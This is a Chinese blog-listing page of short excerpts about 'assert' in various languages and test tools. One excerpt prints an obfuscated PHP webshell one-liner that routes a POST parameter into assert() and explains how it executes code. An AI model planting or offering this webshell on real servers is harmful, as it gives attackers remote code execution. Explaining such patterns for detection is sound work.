设计思路 本文整理归纳以往的工作中用到的东西,现汇总成基础测试框架提供分享。 框架采用python3 + selenium3 + PO + yaml + ddt + unittest等技术编写成基础测试框架,能适应日常测试工作需要。 1、使用Page Object模式将页面定位和业务操作分开,分离测 ...
分类:
编程语言 时间:
2019-01-28 23:56:42
阅读次数:
387
下面这行代码 当在Debug状态时,代码没总理。当切换到Release状态时这整句代码是不执行的 说明assert内部的表达式 必须为判断,而不能为一个动作。否则这个动作在Release的版本中是无法执行的。 ...
分类:
其他好文 时间:
2019-01-28 22:25:21
阅读次数:
213
// 任务目的// 解析串口收到的54个字节。这54个字节包含了8个车道的5大信息以及校验信息。// 实现了查询每条车道包含了哪些信息。 #include <stdio.h>#include <malloc.h>#include <assert.h> typedef unsigned char my ...
分类:
其他好文 时间:
2019-01-26 17:03:58
阅读次数:
292
前言 为了提高代码的复用性,我们在写用例的时候,会用到函数,然后不同的用例去调用这个函数。比如登录操作,大部分的用例都会先登录,那就需要把登录单独抽出来写个函数,其它用例全部的调用这个登陆函数就行。但是登录的账号不能写死,有时候我想用账号1去登录,执行用例1,用账号2去登录执行用例2,所以需要对函数 ...
分类:
其他好文 时间:
2019-01-26 16:21:01
阅读次数:
402
标识符语法 1)java中定义标识符格式以字母,数字,下划线,$符合组成,不能以数字开头,且不能为 java中的关键字。 2)标识符意义要明确,不要乱起 3)标识符区分大小写例如 z和Z是不同的两个标识符 4)java常用关键字 Java中的关键字 abstract assert boolean b ...
分类:
编程语言 时间:
2019-01-21 22:55:18
阅读次数:
226
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数) 因为$array[ ...
分类:
Web程序 时间:
2019-01-21 21:39:43
阅读次数:
209
当响应结果是json格式时,用JSON Assertion更方便判断。 1 在请求上右键添加json断言 2 编辑json Assertion 判断方式: 如果响应结果不是json格式的,fail 如果json path找不到元素,fail 如果json path找到元素,没有设置条件,pass 如 ...
分类:
Web程序 时间:
2019-01-20 16:29:17
阅读次数:
233
1、Could not resolve archetype org.apache.maven.archetypes:maven-archetype-quickstart:1.1 from any of the configured repositories. 办法:下载maven-archetype ...
分类:
系统相关 时间:
2019-01-19 20:13:29
阅读次数:
235
JSON断言允许你完成对JSON文档的校验,首先,如果如果数据不是JSON,则会解析失败;其次,JMeter会用指定语法寻找指定的path,如果没有找到,则会失败;第三,如果验证期望值为null,JMeter提供了null复选框,校验空数组使用[]。 Assert JSON Path exists: ...
分类:
Web程序 时间:
2019-01-19 11:12:24
阅读次数:
788
摘要: tf.name_scope()和tf.variable_scope()是两个作用域,一般与两个创建/调用变量的函数tf.variable() 和tf.get_variable()搭配使用。它们搭配在一起的两个常见用途:1)变量共享,2)tensorboard画流程图时为了可视化封装变量,这两 ...
分类:
其他好文 时间:
2019-01-18 10:52:11
阅读次数:
260